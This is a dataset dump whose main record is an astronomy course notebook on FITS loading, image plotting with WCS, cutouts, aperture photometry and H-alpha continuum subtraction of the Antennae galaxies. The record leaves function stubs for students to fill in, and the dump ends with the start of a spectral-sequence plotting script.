"1d9a7107f26b5e0ebe24deb552cf943779693e18", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mitxgraders/comparers/comparers.py", "max_forks_repo_name": "ChristopherChudzicki/mitx-grading-library", "max_forks_repo_head_hexsha": "1d9a7107f26b5e0ebe24deb552cf943779693e18", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3308411215, "max_line_length": 104, "alphanum_fraction": 0.6233202836, "include": true, "reason": "import numpy", "num_tokens": 4647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.18242552825126704, "lm_q1q2_score": 0.09050017890342647}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Lab 2: Astronomical Imaging I \n# \n# *Gather round, for I shall tell a tale old as time. \n# Long, long ago, astronomers gazed at the heavens, and with naught but their eyes, recorded the positions of the stars they saw there. \n# Then, with the telescope, long, heavy contraptions which reached for the skies like an outstretched arm, (thanks, f/20 focal lengths)\n# they gazed through eyepieces in freezing domes, falling, on occasion, to their deaths from cages suspended at prime foci.* \n# \n# *Next came glass -- emulsion plates -- which upon extended exposure revealed upon their ghostly frames the splotches of stars and soon, galaxies and nebulae. \n# Many a grad student, of course, spent their nights twiddling thumbs over micrometer dials to keep these stars in place. Manual guiding... this story teller shudders to imagine it.\n# And yet, even then, with permanent record, no measure could be made that weren't 'tween the eyes of an observer, peering at the glass through magnifying eyepiece, assigning grades of brightness and, amazingly, pretty much nailing the spectral classification of stars by their absorption features*. \n# \n# *And after this painstaking work, came the earliest CCDs, fractured by detector failures, riddled with readout noise, consumed by cosmic ray hits, laid low by low quantum efficiencies.* \n# \n# *Now... we use Python.* \n# \n\n# <hr>\n# Astronomical images are one of the basic building blocks of astronomical research. While we now obtain data in myriad ways, from gravitational waves to neutrinos, from spectra to polarimetry, the basic tenant of astronomy (and it's most recongizable public impact) is the images we make of the sky. \n# \n# That is why the first science topic we'll be tackling is imaging. And along the way, we'll learn how `astropy` makes our lives *so* much easier when dealing with images, and how to use robust functions to perform the analyses one might want to carry out on images (after we're done admiring their beauty). \n# \n# # If the glove `FITS`\n# \n# Many of you are probably familiar with the `FITS` standard. It stands for `Flexible Image Transport System`, and for all intents and purposes, it acts as a container (much like a zip file). Within it, one can store several kinds of information: images (2d arrays of values), as the name implies, headers (dictionary like objects with metadata), and sometimes tabular data as well. A `FITS` file can contain any number of *extensions*, which just refer to \"slots\" where stuff is stored. Every \"slot\" has a `header` attribute and a `data` attribute. Thus, you could store a hundred astronomical images in 1 file, each with a different extension and a different header describing the image in that slot.  \n# \n# ```{tip}\n# Contextual clues are important when dealing with `FITS` files. Files that are explicitly single images almost always have the image stored in the 0th extension, while files that are explicitly table data tend to have the table stored in the 1st extension (with the 0th empty). \n# ```\n# \n# The `FITS` standard is pretty old, and may be retired soon, but almost all ground based telescopes still use it for their native image output, so it behooves us to know how to get image data out of `FITS` files. \n# \n# ## Problem 1: Loading a FITS file\n# \n# Write a function which takes as its argument a `string` filepath to a `FITS` file, and should have an optional argument to set the extension (default 0). It should then load the given extension of that `fits` file using a [context manager](https://docs.astropy.org/en/stable/io/fits/index.html#opening-a-fits-file), and return a tuple containing the header and data of that extension. \n# \n# The function should have documentation that describes the inputs and outputs. Documentation is **incredibly important** when writing code, both in-line and (# comments) and at the top of functions, methods, and classes. \n# \n# In this class, we'll be using [Sphinx-compatible](https://www.sphinx-doc.org/en/master/) documentation written in the [Numpy/Scipy style](https://numpydoc.readthedocs.io/en/latest/format.html). There are several reasons to do this. \n# \n# 1. It is a user-friendly and write-friendly, readable documentation format that is easy to add to your functions.\n# 2. It can be rendered by Sphinx, the most popular automatic documentation renderer. If you've ever read the online documentation pages for functions in, e.g., numpy and scipy, those pages were rendered automatically based on the docstrings of the functions in question. This is possible with tools like Sphinx, but the documentation must be formatted correctly for this to work. \n# \n# In the cell below, I've provided a dummy function which takes in any number of inputs (mininum 3) and chooses a random input to return. The formatting of the documentation is shown there (as well as in the link above). \n# \n# \n\n# In[5]:\n\n\nimport numpy as np \n\ndef random_return(a,b,c,*args):\n    '''\n    A function which requires three inputs which are floats, accepts any number of additional inputs (of any kind), and returns one randomly chosen input. \n    \n    Parameters\n    ----------\n    a: int\n        description of this integer input\n    b: int\n        description of this integer input\n    c: int\n        description of this integer input\n    *args: tuple\n        any additional arguments get stored here\n    \n    Returns\n    -------\n    choice \n        The randomly selected input (type not specified)\n    '''\n    full_input_list = [a,b,c] + list(args)\n    choice = np.random.choice(full_input_list)\n    return choice\n\n\n# In[11]:\n\n\nrandom_return(1,5,4,6,4,21,6)\n\n\n# When our function has been imported in some code, we can use the `help` command to see the documentation at any time:\n\n# In[9]:\n\n\nhelp(random_return)\n\n\n# You will also notice my use of `*args` in this function. This allows me to enter additional function arguments. Similar is `**kwargs`, which allows additional arguments tied to an input keyword. The former gets stored in a tuple, while the latter gets stored in a dictionary. We'll be using these a lot in class --- you can refresh or learn the basics in Section 2.8 of the chapter on functional programming [here](https://prappleizer.github.io/Tutorials/FunctionalProgramming/FunctionalProgramming_web.html).\n# \n# So as a brief overview of documentation, it contains\n# 1. A brief summary of the function \n# 2. The word Parameters with the next line having underlines of the same length\n# 3. arguments, which are followed by a colon and the data type(s). On the next line, indented, descriptions of the arguments\n# 4. The word Returns, with the same underline scheme\n# 5. The returned objects, labeled the same way as the input. \n# \n# Also above, we saw how to format when no data type is specified. There, additional inputs could've been *any* data type, so we can't be sure what the output will be. The main thing we didn't cover is optional arguments. Those are set like this:\n# ```\n# a: int, optional\n#     Description of the thing. (default 5)\n# ```\n# So we mark it as optional, and then give the default for it. \n# \n# With that, you're ready to write and document your code below. **All functions you write in this class should have documentation**. \n\n# In[10]:\n\n\nfrom astropy.io import fits \nimport os\n\n# your code\ndef load_fits(...):\n    '''\n\n    '''\n    pass\n\n            \n\n\n# ## Problem 2: Data I/O\n# ### Problem 2.1\n# Using the function you created above, read in the header and data of the file `antenna_Rband.fits` which came with the lab assignment. \n# ```{note}\n# While this may seem small, the fact that your read-in is now one line instead of ~5 does improve your efficiency! But only if you use your function enough times to overcome the initial time spent writing it... \n# We also have the flexibility to take our function and give it more features over time, which we will do in this class.\n# \n# ``` \n\n# ### Problem 2.2\n# Next, we need to plot the image data. There are several operations that we almost always perform when plotting astronomical data, as well as several user-preferences for how we \"by default\" plot images before we begin tweaking things. If you spend any time as an astronomer, you will plot quite literally *thousands* of images --- why set all these settings every time, when we can write a handy function to do it for us?\n# \n# Write a function which takes in as input arguments \n# - an image (2D array or masked array) \n# \n# as well as the following optional arguments (so set a default)\n# - figsize (default (15,13) )\n# - cmap (default 'gray_r')\n# - scale (default 0.5)\n# - \\*\\*kwargs (see [here](https://prappleizer.github.io/Tutorials/FunctionalProgramming/FunctionalProgramming_web.html))\n# \n# Inside the function, create figure and axes objects using `plt.subplots()`. When working in notebooks, it is often useful to set the `figsize` argument of subplots to a nice large-ish value, such as `(15,13)`, which will make the image fill most of the notebook. Since *your* function has set figsize as an argument, you can feed `figsize` directly into the `subplots` call, so that a user of the function can leave the default or set their own. \n# \n# Next, use `ax.imshow()` to actually plot the image. You'll want to save the output of this, e.g., `im = ax.imshow(...)`. In this plotting call, set `imshow`'s argument `origin='lower'`. We *always* want to do this when dealing with imaging, as we want (0,0) to be a coordinate. \n# ```{note}\n# By default, matplotlib uses a \"matrix-style\" plotting, where 0 of the y axis is in the *top* left corner, and 0 of the x axis is in the *bottom* left corner.\n# ```\n# Also within the call to `imshow()`, feed in the cmap from your function (i.e., `cmap=cmap`). The other critical `imshow()` arguments are `vmin` and `vmax`, which sets the saturation points (and thus the contrast) of the image. \n# \n# We haven't set `vmin` and `vmax` as arguments of our outer function, but because of `kwargs`, we can still create a default here that can be overriden from outside. \n# \n# As a default, within your function, calculate the mean and standard deviation of the image. Set some temporary variables with the quantities `mu - scale*sigma` and `mu + scale*sigma` (where here `mu` is the calculated mean and `sigma` is the calculated std dev, and `scale` was the optional input). Next, check the kwargs dictionary (which will exist in your function because we added the packing argument `**kwargs` to our function. IF `vmin` and `vmax` are in this dictionary, plug those into your imshow command. Otherwise, use the values determined by the calculation above. Bonus point for accomodating either no vmin/vmax entered, just vmin or vmax, or both (using the calculated values when things aren't provided). \n# \n# Your function should **return** the created `fig` and `ax` objects so the user can continue to tweak them.\n# \n# Run your function and test its outputs. Once you're satisfied it's working, use it to plot the provided data. Find either a vmin/vmax pair, or a choice of `scale` which makes the image look pretty!\n\n# In[ ]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Your code\ndef implot(...):\n    ''' \n    WRITE DOCSTRING HERE\n    '''\n    pass #replace with your code\n\n\n# In[42]:\n\n\n# I've included my output below for your comparison. Overwrite it with your own! \n\n\n# ### Problem 2.3\n# \n# Copy your function down, we're going to keep messing with it. \n# \n# So far, we've made it so that with a simple function call and, potentially, with just the input of an image array, we get out a nice plot with a scaling, colormap, and origin selection. In this section, we are going to allow (optionally) for a colorbar to be added to the figure. We're also going to add in the ability for the figure to be plotted in celestial coordinates (i.e., RA and DEC) instead of pixel units, if information about the image (via the world coordinate system, WCS) exists in the image header. \n# \n# ```{note}\n# Generally, WCS information is present in the headers of *published* images like the one here, but *not* present in raw data gathered at the telescope. This is because images need to undergo a process known as *plate solving* to determine both the direction (coordinates) toward the image, as well as the pixel scale (i.e., how many arcseconds per pixel in the image). \n# ```\n# \n# Add three new optional arguments to your function.\n# - colorbar = False\n# - header = None\n# - wcs = None\n# \n# Let's start with the colorbar. At the end of your plotting commands, check if `colorbar=True`, and if so, create a colorbar via `plt.colorbar()`, setting the `mappable` argument to whatever you saved the output of `ax.imshow()` into above. Also set the `ax` argument to be your ax; this will tell `matplotlib` to steal a bit of space from that axis to make room for the colorbar. \n# \n# \n# \n\n# In[46]:\n\n\n# Your code\n\n\n# ```{tip}\n# When I do this, the colorbar is matching the figure height, rather than the axis height. If that bugs you like it bugs me, check out [this solution](https://stackoverflow.com/a/33505522) from StackOverflow, which you can adapt within your function to make the cbar match the axis height.\n# ```\n# \n# In order to plot in RA and DEC coordinates, we need to first have an `astropy` `WCS` object associated with the image in question. You can import `WCS` from `astropy.wcs`. WCS objects are created from the headers of plate-solved fits files. In our function, we allow the user to input either a header or a WCS object directly. More on WCS can be found in the lecture notes, or [here](https://docs.astropy.org/en/stable/wcs/index.html).\n# \n# Within your function, check if a wcs is input -- if it is, we're good to go and can safely ignore `header` (even if it is provided). If instead only `header` is provided, use the `WCS()` function to create a new wcs object from that header. \n# ```{tip}\n# You'll want to do this at the very top of your function.\n# ```\n# \n# We now need to move our `fig, ax = ....` creation line into an if-statement. If we are using WCS \"stuff\", you'll need to set a `projection` for your plot that uses the wcs. This is accomplished as follows:\n# \n# ```\n# fig, ax = plt.subplots(...,subplot_kw={'projection':wcs}) \n# ```\n# where `wcs` is whatever you've named the output of `WCS(header)` or is the WCS input directly into the function. \n# \n# \n\n# In[4]:\n\n\nfrom astropy.wcs import WCS\n\n# your code\n\n\n# ```{warning}\n# In this case, we will get an error from our function that happens because of some distortion coefficient nonsense between astropy and drizzled HST images. Since it's not pertinent to our lab, I'm providing below a snippet of code you should use to fix your header before running `WCS(header)`. \n# ```\n\n# In[203]:\n\n\ndef strip_SIP(header):\n    A_prefixes = [i for i in header.keys() if i.startswith('A_')]\n    B_prefixes = [i for i in header.keys() if i.startswith('B_')]\n    for a,b in zip(A_prefixes,B_prefixes):\n        del header[a]\n        del header[b]\n    return header\n\n\n# If this worked correctly, when you add the header you read in from our image, you should now see the axes of your plot change from pixels to `pos.eq.ra` and `pos.eq.dec`. We're now looking at actual on-sky coordinates! Yay!\n# \n# ### Problem 2.4 \n# Within the if-blocks of your function that sets the `ax` to be a wcs projection, set the $x$ and $y$ labels to read \"Right Ascension \\[hms\\]\" and \"Declination \\[degrees\\]\" in fontsize 15.\n# \n# Lastly, to polish things off, use `ax.tick_params()` to set inward, larger ticks, and increase the axis tick label size to 15. \n# \n# ```{note}\n# You'll notice (especially with larger ticks) that the are not perpendicular to the axes spines. This is because this particular image has been rotated with respect to the standard celestial coordinate axes. This can be seen more clearly if you add the following to your function:\n# `ax.coords.grid(color='gray', alpha=0.5, linestyle='solid')`. Try doing that, adding an optional keyword to your function called 'grid' and enabling this command if it is set.\n# ```\n# \n# ```{tip}\n# To check if a condition is true (e.g, `if condition == True:`), you can just type `if condition:`\n# ```\n# \n# It's taken us some time, but this image could now be placed in a scientific publication. And, since we have a handy function for it, we can make images that look this nice on the fly with a short one line command, yet still have a lot of flexibility over many important inputs. And of course, the figure and axes objects are returned, so one could run this function and then continue tweaking the plot after the fact.\n# \n# ```{note}\n# As a final note, I want to draw your attention to the fact that once you use the `wcs` projection on some plot, it's no longer a normal ax object, it's a wcsax object. This makes changing certain elements of those axes a little more involved than for a standard one. I use [this page](https://docs.astropy.org/en/stable/visualization/wcsaxes/ticks_labels_grid.html) and the others linked there when doing so. \n# ```\n\n# ## Problem 3: Cutouts and Aperture Photometry\n\n# When working with astronomical images, like the one we've been using in this lab, it is often advantageous to be working with a cutout -- a chunk of the image centered on a certain coordinate, and of a certain size. For example, if there is an HII region or star cluster of interest in the above image, we may like to zoom in on it to examine it more closely. \n# \n# Now that we've switched over to using celestial coordinates instead of pixels as our projection frame, zooming in on a region is not as simple as slicing our array, e.g., `image[500:700,200:550]`. On the plus side, the framework we'll learn here is very robust, and will allow for all sorts of useful measurements. \n# \n# \n# To make a cutout, we'll need the `Cutout2D` module within `astropy`, which I'll import below. To provide the position of the cutout, we need to be able to feed in astronomical coordinates. For this, we'll use `SkyCoord`, a module in `astropy.coordinates`. Finally, we'll need to integrate the `units` module in `astropy` to successfully create coordinate objects.\n\n# In[100]:\n\n\nfrom astropy.nddata import Cutout2D\nfrom astropy.coordinates import SkyCoord\nimport astropy.units as u\n\n\n# Let's start with a `SkyCoord` object. There are several coordinate systems used in astronomy, e.g., Galactic coordinates ($b$, $l$), Equatorial ($RA$, $DEC$). The most common (especially in any extragalactic setting) is RA and DEC (as you can see in the image you've plotted already). \n# \n# The [documentation](https://docs.astropy.org/en/stable/api/astropy.coordinates.SkyCoord.html) for `SkyCoord` is solid, and worth reading. \n# \n# The general way we create these objects is, e.g.,\n\n# In[103]:\n\n\ncoord = SkyCoord('12:01:53.6 -18:53:11',unit=(u.hourangle,u.deg))\n\n\n# ```{tip}\n# You can input various types of strings and formattings for the coordinates, just be sure to specify the units as shown above. The documentation shows the various methods.\n# ```\n# \n# ### Problem 3.1\n# \n# In this case, the coordinates I set above are for NGC 4039, which is the smaller of the two galaxies in the image we're using. \n# \n# ```{note}\n# If at any point you're trying to make a coordinate object for a well known galaxy/object, try, e.g., `coord = SkyCoord.from_name('NGC 4038')`, and ususally that will work!\n# ```\n# \n# \n# In the cell below, use the coordinate we've created, plus a size (use 1x1 arcminutes), and the wcs object for our image, to create a `Cutout2D` object. \n\n# In[106]:\n\n\n#cutout = # your code here\n\n\n# Now, use your fancy new function to plot the new cutout. \n# ```{note}\n# Cutout objects contain the image and their own wcs, accessible via, e.g., `cutout.data` and `cutout.wcs`. \n# ```\n# \n\n# In[ ]:\n\n\n# plot it\n\n\n# ### Problem 3.2\n# \n# We're now going to do some aperture photometry. \n# ```{admonition} Definition\n# Aperture Photometry is the process of defining a region on an image (generally, but not always circular), and measuring the sum pixel value within that region. The region is known as an aperture, and the \"collapsing\" of the 2D spatial information about counts in each pixel into a single number is known as photometry.\n# ```\n# \n# Below, I provide a new coordinate, this time centered on the region between the two galaxies. Make a new cutout of that region (again, 1x1 arcmin), and plot it.\n\n# In[120]:\n\n\nnew_coord = SkyCoord('12:01:55.0 -18:52:45',unit=(u.hourangle,u.deg))\n\n\n# In[121]:\n\n\n# your code\n\n\n# In[5]:\n\n\n#plot it\n\n\n# In this region, there are a lot of blobby looking roughly circular sources --- Some of the larger ones are HII star forming regions, the smaller ones are likely stars. Later in this lab, we'll use multi-wavelength data to try to suss out what is what. \n# \n# Often, for calibration purposes, we'd need to create apertures around all those sources in the image. We definitely don't want to do that by hand! Instead, we're going to use the `sep` package. \n# \n# ```{note}\n# Simply `pip install sep` inside your `a330` environment terminal to get it installed, you should then be able to import it.\n# ```\n# \n# \n\n# In[123]:\n\n\nimport sep\n\n\n# There are three steps to performing aperture photometry with `sep`, which are detailed in [it's documentation](https://sep.readthedocs.io/en/v0.4.x/). \n# \n# - Estimate the background \n# - Find Sources \n# - Perform Aperture Photometry\n# \n# Using the instructions presented in the documentation linked, measure the background of the cutout image, and run the source extractor on it. Don't forget to subtract the background before running the extractor!\n# \n# To do this, write a function that takes as input the data (in this case, a `cutout.data` object and a threshold scale (to be multiplied by the `globalrms`, and performs these steps, returning the `objects` array. Don't forget to document it!\n# \n# ```{hint}\n# :class: dropdown\n# I used a threshold value of 2.0, and got ~100 objects. \n# ```\n# \n# ```{warning}\n# When I ran this, I got an error that my \"array was not C-contiguous.\" I found the solution to this issue in [this stackoverflow post](https://stackoverflow.com/a/26782930). Loosely, `sep` uses C-bindings to actually run the heavy lifting code in C rather than Python (it's faster). This means input arrays must be arranged in physical memory the way C is used to. This particular array was not, but it is easy to order it this way.\n# ```\n\n# In[173]:\n\n\n# Your code\n\ndef run_sep(...):\n    '''\n    DOCSTRING HERE \n    '''\n    pass\n\n\n# Run your function and store the output in a variable called `objects`. You should now have an object array containing many detected sources.\n\n# In[ ]:\n\n\n# run func\n\n\n# The positions of the determined sources are stored in the output structured array and can be indexed with, e.g., `objects['x']` and `objects['y']`. Replot your image of the cutout, but now circle the positions of all your detected sources. Do they line up with actual point sources in the image?\n# \n# ```{hint}\n# :class: dropdown\n# Try using ax.plot, setting your symbol to 'o', your color to 'None', your marker edge color (mec) to some color, and the marker size (ms) to some largeish value, for a quick way to circle objects.\n# ```\n\n# In[ ]:\n\n\n# Your code\n\n\n# In[167]:\n\n\n# Here's my image, for comparison \n\n\n# It looks like we've done a pretty adequate job finding the sources in this field -- there'a a few that got missed, and a few we might want to remove, but overall, this is pretty solid. \n# \n# We need to start working with these objects we've found. While `sep` can perform aperture photometry itself (reading the docs, you can see it is simple to feed in the objects and a pixel radius), we're going to be a bit more careful about things. To better visualize and work with this data, I'd like it to be a `pandas` `DataFrame`. We're going to be using those a lot in this course. Converting a `numpy` structured array to a dataframe is simple: I provide the code below. Run it, and then simply type `df` in a new cell to see a nicely formatted pandas table of our objects.\n\n# In[171]:\n\n\nimport pandas as pd\ndf = pd.DataFrame(objects)\n\n\n# In[ ]:\n\n\ndf #run this\n\n\n# With `sep` providing the first pass, we can cull a few objets from our sample that very clearly are not star forming regions. Using your DataFrame, plot the flux of each detected object using the `flux` column. You should have at least a few that are huge outliers, with dramatically more flux the rest. \n\n# In[6]:\n\n\n# plot\n\n\n# Write a function called `remove_outliers` that reads in a dataframe and a flux-min and flux-max. It should filter the dataframe to only include fluxes between the input values, and return the new dataframe. Then use this function on your data, choosing an appropriate cutoff.\n\n# In[182]:\n\n\n# Your Code \n\ndef remove_outliers(...):\n    '''\n    '''\n    pass\n\n\n# In[183]:\n\n\n# run the function\n\n\n# In[7]:\n\n\n# plot again\n\n\n# Re-plot the set of sources you have now, over the data.\n\n# In[8]:\n\n\n# plot\n\n\n# You should see that some of the circles which were over bright parts of the galaxy are no longer here. \n# ```{note}\n# You may find that there are some visible sources which, despite tinkering, don't get caught by `sep`. That's okay -- if we really wanted them, we could just go in and put down apertures by hand. Generally when performing a step like this in the field, we have a pre-determined set of points to use, because we have measured fluxes for them, and wish to flux calibrate our data. \n# ```\n# \n# ## Problem 4: Continuum Subtraction \n# \n# At this point, we have the tools necessary to make flux measurements in apertures (at least, via `sep` -- we will also learn how to do this with the `photutils` package). However, $R$ band photometry of HII regions is not exceedingly interesting. More interesting is the flux in $H\\alpha$, an emission line caused by Hydrogen recombination. This line (at 6563 Angstrom) is located *within* the $R$ band, and is imaged using a narrow filter compared ot $R$. \n# \n# The flux measured by an $H\\alpha$ filter contains both the flux from the emission line as well as the underlying continuum --- essentially, the starlight from the galaxy. If we can get a clean measure of the flux in $H\\alpha$ (sans this continuum), we can make a direct estimate of the star formation rate of the system. \n# \n# ### Problem 4.1\n# To do this, we need to access an $H\\alpha$ image, and then subtract off the continuum present (which we'll infer from our $R$ band image). Located in the lab directory is a file called `antenna_Haband.fits`. Use your fits loader function from above to read in this new image, create an equivalent sized and centered cutout to the $R$ band data, and plot it, with the same sources found in the $R$ band circled. \n\n# In[9]:\n\n\n# Your Code\n\n\n# There's a few interesting things to note right away here. Looking just north of the center of the image, there's now a large amount of flux in $H\\alpha$ coming from some blobs which do not appear in the $R$ band. This is likely due to the fact that by zero-ing in on the ionized gas, we can see the large envelopes of gas being lit up by the star formation in this region. \n# ```{note}\n# The active merger scenario between these two galaxies is triggering a lot of star formation.\n# ```\n# \n# ### Problem 4.2\n# \n# To get a better idea of how the $H\\alpha$ flux compares to the $R$ band distribution, use the `plt.contour()` tool to measure contours of $H\\alpha$, drawing them over the \n# $H\\alpha$ image and tweaking the levels until you think you are well tracing the distribution. Then, plot those contours over the $R$ band data instead. \n# \n# ```{hint}\n# It is often beneficial to use `np.logspace()` when defining contour levels, as it allows you to cover large dynamic range with fewer contours. You may also find it helpful to set your contour `alpha` to something < 1, to better see both the image underneath and the contours.\n# ```\n\n# In[10]:\n\n\n# Your Code\n\n\n# To help guide you, I've shown what I got for my plot below --- you need not emulate it exactly. The blue box shown in the image will be useful to you in the next part of the problem.\n\n# In[267]:\n\n\n# My solution\n\n\n# We can now see things a lot more clearly! It is obvious that the $H\\alpha$ contours trace some of the sources we were seeing in the $R$ band, but that the gas is more extended around these clusters of sources, as we might expect.\n# \n# ### Problem 4.3\n# We must now attempt a continuum subtraction of the data. We can't simply subtract the $R$ band from the $H\\alpha$ band, because the $R$ band filter is much wider, and thus for similar exposure times, collects many more photons than the narrower $H\\alpha$ filter. Ideally, one could use a set of foreground stars (which are pure continuum sources in both images) to measure fluxes in both, and find a scaling constant. Here, all of the sources we see in this image are most likely actually HII regions. This means if we use them to scale between our images, we will likely oversubtract true flux. \n# \n# Instead, what I'm going to do here (which may be slightly sketchy), is pick a \"blank\" region of continuum emission from the $R$ band which has no $H\\alpha$ contours, and assert that this patch must have the same flux in both images. In the picture above, I indicated a blue rectangular patch on the sky. This is what we'll be using to measure our continuum-to-narrowband ratio. \n# \n# To make this patch, we're going to use `SkyRectangularAperture`, from `photutils`. You can pip install `photutils` in your `a330` environment if you don't have it. Then do the following imports:\n\n# In[268]:\n\n\nfrom photutils.aperture import SkyRectangularAperture\nfrom photutils.aperture import aperture_photometry\n\n\n# As shown in [it's documentation](https://photutils.readthedocs.io/en/stable/api/photutils.aperture.SkyRectangularAperture.html), we need to feed in a `SkyCoord` position, as well as a width and a height. \n# I've provided the new coordinate to use below. \n# \n# Create a rectangle of your own, measuring $0.27''$ by $0.2''$. You can now use the `aperture_photometry()` function to measure the flux in your aperture, applied to a certain image. Using the [documentation](https://photutils.readthedocs.io/en/stable/api/photutils.aperture.aperture_photometry.html#photutils.aperture.aperture_photometry) as needed, find the flux in this box for both the $R$ band and $H\\alpha$ band data, and then determine the ratio between those values. Don't forget about the `wcs`!\n\n# In[11]:\n\n\npatch_cent = SkyCoord('12:01:53.7 -18:52:52',unit=(u.hourangle,u.deg))\n\n# Your code\n\n\n# We can now use this ratio to perform our subtraction. \n# \n# ### Problem 4.4\n# Now, fill in the function below, which should read in your rectangular patch, the $R$ band image, and the $H\\alpha$ image. Within the function, copy in the code that determines the ratio, and then use the ratio you found to scale your $R$ band image, then subtract it from the $H\\alpha$ image. The function should return this new image array.\n# \n# Plot up your continuum subtracted image using your `implot()` function, adding back in the apertures we found earlier and the contours we made from the full $H\\alpha$ image.\n\n# In[12]:\n\n\n# your code\ndef continuum_subtract(...):\n    '''\n    DOCSTRING HERE\n    '''\n    pass \n\n\n# What do you notice about the distribution of apertures with respect to the distribution of $H\\alpha$ gas? Is there a strong alignment of the $R$ band sources and the gas? What does this imply about most of the $R$ band sources?\n# \n# \n\n# *Answer here*\n\n# ### Problem 4.5 \n# \n# Lastly, let's load up the $B$ band image. As you probably know, the $B$ band traces bluer light, and thus will more preferentially see young, hot stars (whereas the $R$ band traces the main sequence and turn off stellar distribution). \n# \n# Load up the `antenna_Bband.fits` image, make a cutout, and plot it below. Use your `load_fits()` function and your `implot()` function. Make a new set of countours from your *continuum subtracted* $H\\alpha$ data, and overplot that onto the $B$ band data. What do you see?\n# \n\n# In[13]:\n\n\n# Your code\n\n\n# In my own image, there are some clusters of $B$-band flux that align well with the $H\\alpha$ contours, and some $B$ band sources out on their own. It is unsurprising that there is a correspondance between them; excess in $B$ light implies the prescence of UV radiation as well, from young O/B stars. It is this radiation responsible for ionizing the gas that is shining in $H\\alpha$, so the $H\\alpha$-emitting gas should be loosely clustered around sources bright in the $B$ band (the experiment would be even cleaner if we used, say, *GALEX* FUV data). \n\n# ### Bonus Question (up to 3 points)\n# \n# If you want to take your analysis farther, try measuring some fluxes off of your continuum subtracted $H\\alpha$ data, placing several manual apertures down over the regions of highest $H\\alpha$ concentration (which also align with $B$ band concentrations). \n# \n# The measures you get from this will be in counts on the detector. We need to convert these counts into flux units (e.g., erg s$^{-1}$ cm$^{-2}$). To do this, \n# - pull the 'PHOTFLAM' keyword from the header of your $H\\alpha$ data\n# - also pull the 'EXPTIME' value from the header. \n# \n# Start by taking your fluxes in counts, multiplying by the `PHOTFLAM` value, and dividing by the `EXPTIME` value. This puts you in erg s$^{-1}$ cm$^{-2}$ *per Angstrom*. Thus, what we have is technically a *flux density*. To convert to a true flux, we'll simply integrate over the bandpass... but for this example, let's assume a constant flux across the bandpass, which for the ACS 658N filter ($H\\alpha$), is 136.27 angstroms. \n# \n# Once you have fluxes, use the distance to NGC 4038/9 to determine the luminosity in erg/s of your collective set of sources, and then use the $SFR(H\\alpha)$ calibration of [Kennicut & Bell](https://iopscience.iop.org/article/10.1086/319025/fulltext/52481.text.html) to convert to an SFR. How does your answer compare to, e.g., \n# - The SFR of the Milky Way?\n# - The SFR of the Orion Nebula?\n# - The SFR of the Tarantula Nebula?\n", "meta": {"hexsha": "e60ad9cdb2a8f4c949b7f248f3cca0eb46b69567", "size": 34128, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/Lab2/Lab2.py", "max_stars_repo_name": "Astro-330/Astro-330.github.io", "max_stars_repo_head_hexsha": "e7ba5d1db0f369a110419e939d9ed2d29c9d7020", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-08-28T23:26:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T14:35:17.000Z", "max_issues_repo_path": "_build/jupyter_execute/Lab2/Lab2.py", "max_issues_repo_name": "mgebran/Astro-330.github.io", "max_issues_repo_head_hexsha": "e7ba5d1db0f369a110419e939d9ed2d29c9d7020", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/Lab2/Lab2.py", "max_forks_repo_name": "mgebran/Astro-330.github.io", "max_forks_repo_head_hexsha": "e7ba5d1db0f369a110419e939d9ed2d29c9d7020", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-12-18T00:53:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T14:53:12.000Z", "avg_line_length": 54.3439490446, "max_line_length": 725, "alphanum_fraction": 0.7333567745, "include": true, "reason": "import numpy,import astropy,from astropy", "num_tokens": 8541, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.18242552602881165, "lm_q1q2_score": 0.09050017780088007}}
{"text": "\"\"\" Plot the spectral sequence \"\"\"\n\nimport matplotlib.pyplot as plt\nplt.rc(\"font\", family=\"serif\")\nplt.rc(\"text\", usetex=True)\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom mpl_toolkits.axes_grid1.inset_locator import mark_inset\nimport numpy as np\nfrom astropy.table import Table\nfrom astropy.cosmology import Planck15\nfrom astropy.time import Time\nimport glob\nimport sys\nsys.path.append(\"/Users/annaho/Github/Spectra\")\nsys.path.append(\"/Users/annaho/Dropbox/Projects/Research/ZTF18abukavn/code\")\nfrom load_lc import get_lc\nfrom normalize import smooth_spec\nfrom measure_snr import get_snr\n\n\ndef get_files():\n    files = np.array(glob.glob(\n    \"/Users/annaho/Dropbox/Projects/Research/ZTF18abukavn/data/spec/ZTF18abukavn/*.ascii\"))\n    dt = np.zeros(len(files))\n    tels = []\n    cols = np.array([\"\"]*len(dt), dtype='U10')\n\n    # Read in all of the files, pull out the corresponding dates, and sort by date\n    t0 = 2458370.6634 # in JD\n    for ii,f in enumerate(files):\n        tel = f.split(\"_\")[2]\n        tels.append(tel)\n        alldat = open(f).readlines()\n        if tel == 'LT':\n            for line in alldat:\n                if 'DATE-OBS' in line:\n                    obsdate = line[13:36]\n                    t = Time(obsdate, format='isot').jd\n                    dt[ii] = t-t0\n            cols[ii] = 'magenta'\n        elif tel == 'P200':\n            for line in alldat:\n                if 'UT shutter open' in line:\n                    obsdate = line[12:35]\n                    t = Time(obsdate, format='isot').jd\n                    dt[ii] = t-t0\n            cols[ii] = 'lightblue'\n        elif tel == 'Keck1':\n            for line in alldat:\n                if 'DATE_BEG' in line:\n                    obsdate = 